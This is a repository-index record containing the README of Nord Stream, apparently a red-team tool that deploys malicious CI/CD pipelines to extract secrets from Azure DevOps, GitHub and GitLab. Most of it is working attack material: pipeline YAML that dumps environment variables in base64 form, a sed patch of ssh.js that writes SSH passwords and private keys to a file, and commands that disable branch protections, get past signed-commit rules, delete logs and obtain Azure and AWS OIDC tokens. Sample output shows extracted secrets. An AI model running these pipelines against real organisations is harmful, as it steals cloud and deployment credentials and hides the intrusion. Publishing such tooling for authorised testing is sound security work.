{"id":15120571,"url":"https://github.com/synacktiv/nord-stream","last_synced_at":"2026-02-08T14:34:43.642Z","repository":{"id":134668808,"uuid":"608183299","full_name":"synacktiv/nord-stream","owner":"synacktiv","description":"Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.","archived":false,"fork":false,"pushed_at":"2026-01-25T18:24:09.000Z","size":258,"stargazers_count":312,"open_issues_count":0,"forks_count":17,"subscribers_count":6,"default_branch":"main","last_synced_at":"2026-01-26T01:19:54.624Z","etag":null,"topics":["azuredevops","ci-cd","cicd","github","gitlab","gitlab-ci"],"latest_commit_sha":null,"homepage":"https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/synacktiv.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2023-03-01T13:49:16.000Z","updated_at":"2026-01-25T18:24:13.000Z","dependencies_parsed_at":null,"dependency_job_id":"364240ed-ac53-48c6-8dc5-4d03340e43b0","html_url":"https://github.com/synacktiv/nord-stream","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/synacktiv/nord-stream","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/synacktiv%2Fnord-stream","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/synacktiv%2Fnord-stream/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/synacktiv%2Fnord-stream/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/synacktiv%2Fnord-stream/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/synacktiv","download_url":"https://codeload.github.com/synacktiv/nord-stream/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/synacktiv%2Fnord-stream/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29233308,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-08T14:18:14.570Z","status":"ssl_error","status_checked_at":"2026-02-08T14:18:14.071Z","response_time":57,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["azuredevops","ci-cd","cicd","github","gitlab","gitlab-ci"],"created_at":"2024-09-26T02:00:41.273Z","updated_at":"2026-02-08T14:34:43.621Z","avatar_url":"https://github.com/synacktiv.png","language":"Python","funding_links":[],"categories":["Python","Tools"],"sub_categories":["ArgoCD","Defense Evasion"],"readme":"# Nord Stream\n\nNord Stream is a tool that allows you extract secrets stored inside CI/CD environments by deploying _malicious_ pipelines.\n\nIt currently supports Azure DevOps, GitHub and GitLab.\n\nFind out more in the following blogpost: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks\n\n## Table of Contents\n\n- [Nord Stream](#nord-stream)\n  - [Table of Contents](#table-of-contents)\n  - [Installation](#installation)\n  - [Usage](#usage)\n    - [Shared arguments](#shared-arguments)\n      - [Describe token](#describe-token)\n      - [Build YAML](#build-yaml)\n      - [YAML](#yaml)\n      - [Clean logs](#clean-logs)\n      - [Signing commits](#signing-commits)\n    - [Azure DevOps](#azure-devops)\n      - [Service connections](#service-connections)\n      - [Help](#help)\n    - [GitHub](#github)\n      - [List protections](#list-protections)\n      - [Disable protections](#disable-protections)\n      - [Force](#force)\n      - [Azure OIDC](#azure-oidc)\n      - [AWS OIDC](#aws-oidc)\n      - [Help](#help-1)\n    - [GitLab](#gitlab)\n      - [List secrets](#list-secrets)\n      - [YAML](#yaml-1)\n      - [List protections](#list-protections-1)\n      - [Help](#help-2)\n  - [TODO](#todo)\n  - [Contact](#contact)\n\n## Installation\n\n```\n$ pipx install git+https://github.com/synacktiv/nord-stream\n```\n\n`git` is also required (see https://git-scm.com/download/) and must exist in your `PATH`.\n\n## Usage\n\nHere is a simple example on GitHub; initially, one can enumerate the various secrets.\n```sh\n$ nord-stream github --token \"$GHP\" --org org --list-secrets --repo repo\n[*] Listing secrets:\n[*] \"org/repo\" secrets\n[*] Repo secrets:\n        - REPO_SECRET\n        - SUPER_SECRET\n[*] PROD secrets:\n        - PROD_SECRET\n```\n\nThen proceed to the exfiltration:\n```sh\n$ nord-stream github --token \"$GHP\" --org org --repo repo  \n[+] \"org/repo\"\n[*] No branch protection rule found on \"dev_remote_ea5Eu/test/v1\" branch\n[*] Getting secrets from repo: \"org/repo\"\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] Secrets:\nsecret_SUPER_SECRET=value for super secret\nsecret_REPO_SECRET=repository secret\n\n[*] Getting secrets from environment: \"PROD\" (org/repo)\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] Secrets:\nsecret_PROD_SECRET=Value only accessible from prod environment\n\n[*] Cleaning logs.\n[*] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github\n```\n\n### Shared arguments\n\nSome arguments are shared between [GitHub](#github), [Azure DevOps](#azure-devops) and [GitLab](#gitlab) here are some examples.\n\n#### Describe token\n\nThe `--describe-token` option can be used to display general information about your token:\n\n```bash\n$ nord-stream github --token \"$PAT\" --describe-token\n[*] Token information:\n        - Login: CICD\n        - IsAdmin: False\n        - Id: 1337\n        - Bio: None\n\n```\n\n#### Build YAML\n\nThe `--build-yaml` option can be used to create a pipeline file without deploying it. It retrieves the various secret names to build the associated pipeline, which can be used to add custom steps:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml\n[+] YAML file:\nname: GitHub Actions\n'on': push\njobs:\n  init:\n    runs-on: ubuntu-latest\n    steps:\n    - run: env -0 | awk -v RS='\\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0\n      name: command\n      env:\n        secret_PROD_SECRET: ${{secrets.PROD_SECRET}}\n    environment: PROD\n\n```\n\n#### YAML\n\nThe `--yaml` option can be used to deploy a custom pipeline:\n\n```yml\nname: GitHub Actions\n'on': push\njobs:\n  init:\n    runs-on: ubuntu-latest\n    steps:\n    - run: echo \"Hello from step 1\"\n      name: step 1\n    - run: echo \"Doing some important stuff here\"\n      name: command\n    - run: echo \"Hello from last step \"\n      name: last step\n```\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --yaml custom.yml\n[+] \"synacktiv/repo\"\n[*] No branch protection rule found on \"dev_remote_ea5Eu/test/v1\"branch\n[*] Running custom workflow: .../custom.yml\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] Workflow output:\n2023-07-18T20:08:33.0073670Z ##[group]Run echo \"Doing some important stuff here\"\n2023-07-18T20:08:33.0074247Z echo \"Doing some important stuff here\"\n2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0}\n2023-07-18T20:08:33.0137261Z ##[endgroup]\n2023-07-18T20:08:33.0422019Z Doing some important stuff here\n\n[*] Cleaning logs.\n[*] Check output: .../nord-stream-logs/github\n```\n\nBy default, it will display the output of the task named `command` of the `init` job, but everything is stored locally and can be access manually:\n\n```bash\n$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\\ step.txt\n2023-07-18T20:08:33.0458509Z ##[group]Run echo \"Hello from last step \"\n2023-07-18T20:08:33.0459084Z echo \"Hello from last step \"\n2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}\n2023-07-18T20:08:33.0511890Z ##[endgroup]\n2023-07-18T20:08:33.0597853Z Hello from last step\n```\n\n#### Clean logs\n\nBy default, Nord Stream will attempt to remove traces left after a pipeline deployment, depending on your privileges. To preserve traces, the `--no-clean` option can be used. This will keep the pipeline logs, but this will still revert the changes made to the repository.\nNote that for GitLab, some traces cannot be deleted.\n\n\n#### Signing commits\n\nRepository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. With Nord Stream it's possible to sign commit to bypass such protection.\n\nFirst create an import your GPG key on the SCM platform.\n```sh\n$ gpg --full-generate-key\n$ gpg --armor --export F94496913C43EFC5\n$ gpg --list-secret-keys --keyid-format=long\nsec   dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23]\n      Key fingerprint = B158 3F43 9899 C5A3 B74E  D04B F944 9691 3C43 EFC5\nuid                 [ultimate] test-gpg \u003ctest.gpg@cicd.local\u003e\n```\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email test.gpg@cicd.local --force\n[*] Using branch: \"main\"\n[+] \"synacktiv/repo\"\n[*] Getting secrets from environment: \"prod\" (synacktiv/repo)\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] Secrets:\nsecret_PROD_SECRET=my PROD_SECRET\n\n```\n\n```bash\n$ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973\ngpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST\ngpg:                using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5\ngpg: Good signature from \"test-gpg \u003ctest.gpg@cicd.local\u003e\" [ultimate]\nPrimary key fingerprint: B158 3F43 9899 C5A3 B74E  D04B F944 9691 3C43 EFC5\n```\n\n### Azure DevOps\n\nNord Stream can extract the following types of secrets:\n- Variable groups (vg)\n- Secure files (sf)\n- Service connections\n\n#### Service connections\n\nAzure DevOps offers the possibility to create connections with external and remote services for executing tasks in a job. To do so, service connections are used. A service connection holds credentials for an identity to a remote service. There are multiple types of service connections in Azure DevOps.\n\nNord Stream currently support secret extraction for the following types of service connection:\n- AzureRM\n- GitHub\n- AWS\n- SonarQube\n- SSH\n\nIf you come across a non-supported type, please open an issue or make a pull request :)\n\n##### SSH\n\nThe extraction for this service connection type was painfull to implement. The output is the following:\n```\nhostname:::port:::user:::password:::privatekey\n```\n\nIf you want to run it on a self-hosted runner you can do the following:\n```\n$ nord-stream devops ... --build-yaml test.yml --build-type ssh  \n[+] YAML file:\ntrigger: none\npool:\n  vmImage: ubuntu-latest\nsteps:\n- checkout: none\n- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak\n    ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout\n    = getReadyTimeoutVariable();\\nconst fs = require(\"fs\");var data = \"\";data += hostname\n    + \":::\" + port + \":::\" + username + \":::\" + password + \":::\" + privateKey;fs.writeFile(\"/tmp/artefacts.tar.gz\",\n    data, (err) =\u003e {});|' $SSH_FILE\n  displayName: Preparing Build artefacts\n- task: SSH@0\n  inputs:\n    sshEndpoint: '#FIXME'\n    runOptions: commands\n    commands: sleep 1\n- script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak\n    $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo ''\n  displayName: Build artefacts\n\n```\n\nThen you need to:\n1) change the `vmImage: ubuntu-latest` to `name: 'Self-Hosted pool name'`\n2) Add the name of the service connection in the `#FIXME` placeholder.\n3) deploy the pipeline with: `--yaml test.yml`\n\nIf you need to run this on a windows self-hosted runner, in the `generatePipelineForSSH` method change `_serviceConnectionTemplateSSH` by `_serviceConnectionTemplateSSHWindows` and perform the actions described previously.\n\nNote: for both Windows and Linux self-hosted runners, you need to adapt the path (`/home/vsts/work/_tasks/` or `D:\\a\\`) to match the path where the runner is deployed. This information can be obtained in the `Capabilities` tab of an agent on Azure DevOps.\n\n#### Help\n```\n$ nord-stream devops -h\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream devops [options] --token \u003cpat\u003e --org \u003corg\u003e [extraction] [--project \u003cproject\u003e --write-filter --no-clean --branch-name \u003cname\u003e --pipeline-name \u003cname\u003e --repo-name \u003cname\u003e]\n    nord-stream devops [options] --token \u003cpat\u003e --org \u003corg\u003e --yaml \u003cyaml\u003e --project \u003cproject\u003e [--write-filter --no-clean --branch-name \u003cname\u003e --pipeline-name \u003cname\u003e --repo-name \u003cname\u003e]\n    nord-stream devops [options] --token \u003cpat\u003e --org \u003corg\u003e --build-yaml \u003coutput\u003e [--build-type \u003ctype\u003e]\n    nord-stream devops [options] --token \u003cpat\u003e --org \u003corg\u003e --clean-logs [--project \u003cproject\u003e]\n    nord-stream devops [options] --token \u003cpat\u003e --org \u003corg\u003e --list-projects [--write-filter]\n    nord-stream devops [options] --token \u003cpat\u003e --org \u003corg\u003e (--list-secrets [--project \u003cproject\u003e --write-filter] | --list-users)\n    nord-stream devops [options] --token \u003cpat\u003e --org \u003corg\u003e --describe-token\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n    -v, --verbose                           Verbose mode\n    -d, --debug                             Debug mode\n    --output-dir \u003cdir\u003e                      Output directory for logs\n    --ignore-cert                           Allow insecure server connections\n\nCommit:\n    --user \u003cuser\u003e                           User used to commit\n    --email \u003cemail\u003e                         Email address used commit\n    --key-id \u003cid\u003e                           GPG primary key ID to sign commits\n\nargs:\n    --token \u003cpat\u003e                           Azure DevOps personal token or JWT\n    --org \u003corg\u003e                             Org name\n    -p, --project \u003cproject\u003e                 Run on selected project (can be a file)\n    -y, --yaml \u003cyaml\u003e                       Run arbitrary job\n    --clean-logs                            Delete all pipeline created by this tool. This operation is done by default but can be manually triggered.\n    --no-clean                              Don't clean pipeline logs (default false)\n    --list-projects                         List all projects.\n    --list-secrets                          List all secrets.\n    --list-users                            List all users.\n    --write-filter                          Filter projects where current user has write or admin access.\n    --build-yaml \u003coutput\u003e                   Create a pipeline yaml file with default configuration.\n    --build-type \u003ctype\u003e                     Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh\n    --describe-token                        Display information on the token\n    --branch-name \u003cname\u003e                    Use specific branch name for deployment.\n    --pipeline-name \u003cname\u003e                  Use pipeline for deployment.\n    --repo-name \u003cname\u003e                      Use specific repo for deployment.\n\nExctraction:\n    --extract \u003clist\u003e                        Extract following secrets [vg,sf,gh,az,aws,sonar,ssh]\n    --no-extract \u003clist\u003e                     Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]\n\nExamples:\n    List all secrets from all projects\n    $ nord-stream devops --token \"$PAT\" --org myorg --list-secrets\n\n    Dump all secrets from all projects\n    $ nord-stream devops --token \"$PAT\" --org myorg\n\nAuthors: @hugow @0hexit\n```\n\n### GitHub\n\n#### List protections\n\nThe `--list-protections` option can be used to list the protections applied to a branch and to environments:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --branch-name main --list-protections\n[*] Using branch: \"main\"\n[*] Checking security: \"synacktiv/repo\"\n[*] Found branch protection rule on \"main\" branch\n[*] Branch protections:\n        - enforce admins: True\n        - block creations: True\n        - required signatures: True\n        - allow force pushes: False\n        - allow deletions: False\n        - required pull request reviews: False\n        - required linear history: False\n        - required conversation resolution: False\n        - lock branch: False\n        - allow fork syncing: False\n[*] Environment protection for: \"DEV\":\n        - deployment branch policy: custom\n[*] No environment protection rule found for: \"INT\"\n[*] Environment protection for: \"PROD\":\n        - deployment branch policy: custom\n```\n\nDepending on your permissions, you can have less information, only administrators can have the full details of the protections.\n\n\n#### Disable protections\n\nThe `--disable-protections` option can be used to temporarily disable the protections applied to a branch or an environment, realize the dump and restore all the protections:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections\n[*] Using branch: \"main\"\n[+] \"synacktiv/repo\"\n[*] Found branch protection rule on \"main\" branch\n[...]\n[!] Removing branch protection, wait until it's restored.\n[*] Getting secrets from environment: \"prod\" (synacktiv/repo)\n[*] Environment protection for: \"PROD\":\n        - deployment branch policy: custom\n[!] Modifying env protection, wait until it's restored.\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[!] Restoring env protections.\n[+] Secrets:\nsecret_PROD_SECRET=my PROD_SECRET\n\n[*] Cleaning logs.\n[!] Restoring branch protection.\n```\n\nThis requires admin privileges.\n\n#### Force\n\nBy default, if Nord Stream detect a protection on a branch or on an environment it won't perform the secret extraction. If you think that the protections are too permissive or can be bypassed with your privileges, the `--force` option can be used to deploy the pipeline regardless of protections.\n\n#### Azure OIDC\n\nOIDC (OpenID Connect) can be used to connect to cloud services. The general idea is to allow authorized pipelines or workflows to get short-lived access tokens directly from a cloud provider, without involving any static secrets. Authorization is based on trust relationships configured on the cloud provider's side and being conditioned by the origin of the pipeline or workflow.\n\nHere is an example of a GitHub workflow using OIDC:\n\n```yaml\n[...]\nsteps:\n    - name: OIDC Login to Azure Public Cloud\n    uses: azure/login@v1\n    with:\n        client-id: ${{ secrets.AZURE_CLIENT_ID }}\n        tenant-id: ${{ secrets.AZURE_TENANT_ID }}\n        subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional\n```\n\nIf you come across such a workflow, this means that the repository might be configured to get a short-lived access token that can give you access to Azure resources.\n\nNord Stream is able to deploy a pipeline to retrieve such access token with the following options:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2\n[*] Using branch: \"main\"\n[+] \"synacktiv/repo\"\n[*] No branch protection rule found on \"main\" branch\n[*] Running OIDC Azure access tokens generation workflow\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] OIDC access tokens:\nAccess token to use with Azure Resource Manager API:\n{\n  \"accessToken\":\n\"eyJ0eXAiOiJK[...]PVig\",\n  \"expiresOn\": \"2023-07-18 23:18:57.000000\",\n  \"subscription\": \"65cd6002-25b9-11ee-88ac-7f80b19430c2\",\n  \"tenant\": \"65cd6002-25b9-11ee-88ac-7f80b19430c2\",\n  \"tokenType\": \"Bearer\"\n}\n\nAccess token to use with MS Graph API:\n{\n  \"accessToken\":\n\"eyJ0eXAi[...]_qTA\",\n  \"expiresOn\": \"2023-07-19 22:18:59.000000\",\n  \"subscription\": \"65cd6002-25b9-11ee-88ac-7f80b19430c2\",\n  \"tenant\": \"65cd6002-25b9-11ee-88ac-7f80b19430c2\",\n  \"tokenType\": \"Bearer\"\n}\n```\n\nThe `--azure-subscription-id` is optional and can be used to get an access token for a specific subscription.\n\n#### AWS OIDC\n\nThe same technique (see [Azure OIDC](#azure-oidc)) can be used to get a session token on AWS.\n\nHere is an example of a workflow using AWS OIDC:\n\n```yaml\n[...]\nsteps:\n    - name: Configure AWS Credentials\n    uses: aws-actions/configure-aws-credentials@v1\n    with:\n        role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole\n        role-session-name: oidcrolesession\n        aws-region: us-east-1\n```\n\nIf you come across such a workflow, this means that the repository might be configured to get an AWS access token that can give you access to AWS resources.\n\nNord Stream is able to deploy a pipeline to retrieve such access token with the following options:\n\n```bash\n$ nord-stream github --token \"$PAT\" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force\n[+] \"Synacktiv/repo\"\n[*] Running OIDC AWS credentials generation workflow\n[*] Getting workflow output\n[!] Workflow not finished, sleeping for 15s\n[+] Workflow has successfully terminated.\n[+] OIDC credentials:\nAWS_DEFAULT_REGION=us-east-1\nAWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6\nAWS_REGION=us-east-1\nAWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO\nAWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA\n```\n\n#### Help\n```\n$ nord-stream github -h\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream github [options] --token \u003cghp\u003e --org \u003corg\u003e [--repo \u003crepo\u003e --no-repo --no-env --no-org --env \u003cenv\u003e --disable-protections --branch-name \u003cname\u003e --no-clean (--key-id \u003cid\u003e --user \u003cuser\u003e --email \u003cemail\u003e)]\n    nord-stream github [options] --token \u003cghp\u003e --org \u003corg\u003e --yaml \u003cyaml\u003e --repo \u003crepo\u003e [--env \u003cenv\u003e --disable-protections --branch-name \u003cname\u003e --no-clean (--key-id \u003cid\u003e --user \u003cuser\u003e --email \u003cemail\u003e)]\n    nord-stream github [options] --token \u003cghp\u003e --org \u003corg\u003e ([--clean-logs] [--clean-branch-policy]) [--repo \u003crepo\u003e --branch-name \u003cname\u003e]\n    nord-stream github [options] --token \u003cghp\u003e --org \u003corg\u003e --build-yaml \u003cfilename\u003e --repo \u003crepo\u003e [--env \u003cenv\u003e]\n    nord-stream github [options] --token \u003cghp\u003e --org \u003corg\u003e --azure-tenant-id \u003ctenant\u003e --azure-client-id \u003cclient\u003e [--azure-subscription-id \u003csubscription\u003e --repo \u003crepo\u003e --env \u003cenv\u003e --disable-protections --branch-name \u003cname\u003e --no-clean]\n    nord-stream github [options] --token \u003cghp\u003e --org \u003corg\u003e --aws-role \u003crole\u003e --aws-region \u003cregion\u003e [--repo \u003crepo\u003e --env \u003cenv\u003e --disable-protections --branch-name \u003cname\u003e --no-clean]\n    nord-stream github [options] --token \u003cghp\u003e --org \u003corg\u003e --list-protections [--repo \u003crepo\u003e --branch-name \u003cname\u003e --disable-protections (--key-id \u003cid\u003e --user \u003cuser\u003e --email \u003cemail\u003e)]\n    nord-stream github [options] --token \u003cghp\u003e --org \u003corg\u003e --list-secrets [--repo \u003crepo\u003e --no-repo --no-env --no-org]\n    nord-stream github [options] --token \u003cghp\u003e [--org \u003corg\u003e] --list-repos [--write-filter]\n    nord-stream github [options] --token \u003cghp\u003e --describe-token\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n    -v, --verbose                           Verbose mode\n    -d, --debug                             Debug mode\n    --output-dir \u003cdir\u003e                      Output directory for logs\n\nSigning:\n    --key-id \u003cid\u003e                           GPG primary key ID\n    --user \u003cuser\u003e                           User used to sign commits\n    --email \u003cemail\u003e                         Email address used to sign commits\n\nargs\n    --token \u003cghp\u003e                           Github personal token\n    --org \u003corg\u003e                             Org name\n    -r, --repo \u003crepo\u003e                       Run on selected repo (can be a file)\n    -y, --yaml \u003cyaml\u003e                       Run arbitrary job\n    --clean-logs                            Delete all logs created by this tool. This operation is done by default but can be manually triggered.\n    --no-clean                              Don't clean workflow logs (default false)\n    --clean-branch-policy                   Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.\n    --build-yaml \u003cfilename\u003e                 Create a pipeline yaml file with all secrets.\n    --env \u003cenv\u003e                             Specify env for the yaml file creation.\n    --no-repo                               Don't extract repo secrets.\n    --no-env                                Don't extract environnments secrets.\n    --no-org                                Don't extract organization secrets.\n    --azure-tenant-id \u003ctenant\u003e              Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).\n    --azure-subscription-id \u003csubscription\u003e  Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).\n    --azure-client-id \u003cclient\u003e              Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).\n    --aws-role \u003crole\u003e                       AWS role to assume (OIDC related).\n    --aws-region \u003cregion\u003e                   AWS region (OIDC related).\n    --list-protections                      List all protections.\n    --list-repos                            List all repos.\n    --list-secrets                          List all secrets.\n    --disable-protections                   Disable the branch protection rules (needs admin rights)\n    --write-filter                          Filter repo where current user has write or admin access.\n    --force                                 Don't check environment and branch protections.\n    --branch-name \u003cname\u003e                    Use specific branch name for deployment.\n    --describe-token                        Display information on the token\n\nExamples:\n    List all secrets from all repositories\n    $ nord-stream github --token \"$GHP\" --org myorg --list-secrets\n\n    Dump all secrets from all repositories and try to disable branch protections\n    $ nord-stream github --token \"$GHP\" --org myorg --disable-protections\n\nAuthors: @hugow @0hexit\n```\n\n### GitLab\n\nAs described in the article, there is no way to remove the logs in the activity tab after a pipeline deployment. This must be taken into account during Red Team engagements.\n\n#### List secrets\n\nThe `--list-secrets` option can be used to list and extract secrets from GitLab.\n\nThe way in which GitLab manages secrets is a bit different from Azure DevOps and GitHub action. With admin access to a project, group or even admin access on the GitLab instance, it is possible to extract all the CI/CD variables that are defined without deploying any pipeline.\n\nFrom a low privilege user however, it is not possible to list the secrets that are defined at the project / group or instance levels. However, if users have write privileges over a project, they will be able to deploy a malicious pipeline to exfiltrate the environment variables exposing the CI/CD variables. This means that a low privilege user has no mean to know if a secret is defined in a specific project. The only way is to look at legitimate pipelines that are already present in a project and check if a pipeline uses sensitive environment variables.\n\nHere is a pipeline file to perform this operation on GitLab:\n\n```yaml\nstages:\n  - synacktiv\n\ndeploy-production:\n  image: ubuntu:latest\n  stage: synacktiv\n  script:\n    - env | base64 -w0 | base64 -w 0\n```\n\nGitLab also support secure files like Azure DevOps. Secure files are defined at the project level. Like the variables It's not possible to list the secure files without admin access to the project. However, with admin access nord-stream will try to exfiltrate the secure files related to the projects.\n\n#### YAML\n\nSame as [YAML](#yaml), however you need to provide the full project path like this:\n\n```sh\n$ nord-stream gitlab --token \"$PAT\" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml\n```\n\nThe output of the command `--list-projects` returns such path.\n\n#### List protections\n\nSame as [GitHub list protections](#list-protections)\n\n#### Help\n```\n$ nord-stream gitlab -h\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream gitlab [options] --token \u003cpat\u003e (--list-secrets | --list-protections) [--project \u003cproject\u003e --group \u003cgroup\u003e --no-project --no-group --no-instance --write-filter]\n    nord-stream gitlab [options] --token \u003cpat\u003e ( --list-groups | --list-projects ) [--project \u003cproject\u003e --group \u003cgroup\u003e --write-filter]\n    nord-stream gitlab [options] --token \u003cpat\u003e --yaml \u003cyaml\u003e --project \u003cproject\u003e [--no-clean]\n    nord-stream gitlab [options] --token \u003cpat\u003e --clean-logs [--project \u003cproject\u003e]\n    nord-stream gitlab [options] --token \u003cpat\u003e --describe-token\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n    -v, --verbose                           Verbose mode\n    -d, --debug                             Debug mode\n    --output-dir \u003cdir\u003e                      Output directory for logs\n    --url \u003cgitlab_url\u003e                      Gitlab URL [default: https://gitlab.com]\n    --ignore-cert                           Allow insecure server connections\n\nCommit:\n    --user \u003cuser\u003e                           User used to commit\n    --email \u003cemail\u003e                         Email address used commit\n    --key-id \u003cid\u003e                           GPG primary key ID to sign commits\n\nargs:\n    --token \u003cpat\u003e                           GitLab personal access token or _gitlab_session cookie\n    --project \u003cproject\u003e                     Run on selected project (can be a file)\n    --group \u003cgroup\u003e                         Run on selected group (can be a file)\n    --list-secrets                          List all secrets.\n    --list-protections                      List branch protection rules.\n    --list-projects                         List all projects.\n    --list-groups                           List all groups.\n    --write-filter                          Filter repo where current user has developer access or more.\n    --no-project                            Don't extract project secrets.\n    --no-group                              Don't extract group secrets.\n    --no-instance                           Don't extract instance secrets.\n    -y, --yaml \u003cyaml\u003e                       Run arbitrary job\n    --branch-name \u003cname\u003e                    Use specific branch name for deployment.\n    --clean-logs                            Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered.\n    --no-clean                              Don't clean pipeline logs (default false)\n    --describe-token                        Display information on the token\n\nExamples:\n    Dump all secrets\n    $ nord-stream gitlab --token \"$TOKEN\" --url https://gitlab.local --list-secrets\n\n    Deploy the custom pipeline on the master branch\n    $ nord-stream gitlab --token \"$TOKEN\" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'\n\nAuthors: @hugow @0hexit\n```\n\n## TODO\n\n- [ ] Add support of URLs corresponding to Azure DevOps Server instances (on-premises solutions)\n- [ ] Add an option to extract secrets via Windows hosts\n- [ ] Add support of other CI/CD environments (Jenkins/Bitbucket)\n- [ ] Use the GitHub GraphQL API instead of the REST one to list the branch protection rules and temporarily disable them if they match the malicious branch about to be pushed\n\n\n## Contact\n\nPlease submit any bugs, issues, questions, or feature requests under \"Issues\" or send them to us on Twitter [@hugow](https://twitter.com/hugow_vincent) and [@0hexit](https://twitter.com/0hexit).\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsynacktiv%2Fnord-stream","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsynacktiv%2Fnord-stream","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsynacktiv%2Fnord-stream/lists"}